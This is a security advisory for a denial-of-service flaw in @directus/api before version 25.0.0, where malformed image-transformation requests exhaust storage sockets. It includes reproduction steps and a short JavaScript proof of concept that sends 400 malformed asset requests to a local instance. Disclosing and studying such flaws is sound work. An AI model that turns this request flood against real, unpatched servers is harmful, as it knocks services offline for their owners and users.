Allocation of Resources Without Limits or Throttling Affecting @directus/api package, versions <25.0.0

@directus/api is a real-time API and App dashboard for managing SQL database content

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the improper handling of malformed transformation requests in the asset management process. An attacker can cause a denial of service by sending multiple malformed requests, leading to the exhaustion of available sockets and resulting in all assets being served with a 403 error.

1. setup AWS S3 storage

2. set STORAGE_CLOUD_MAX_SOCKETS: "50" (this value is lower than default for easier reproduction)

3. upload a file to your project

4. run this file (Replace the the file ID with the one you just uploaded):

import axios from "axios";

async function start() {
  Array.from({ length: 400 }, (_, i) => {
    axios
      .get(
        "http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8?width=100&height=XYZ"
      )
      .then(() => console.log("✅"))
      .catch((e) =>
        console.log("⛔", e.response?.status || e.code || e.message)
      );
  });
}
start();

• GitHub Commit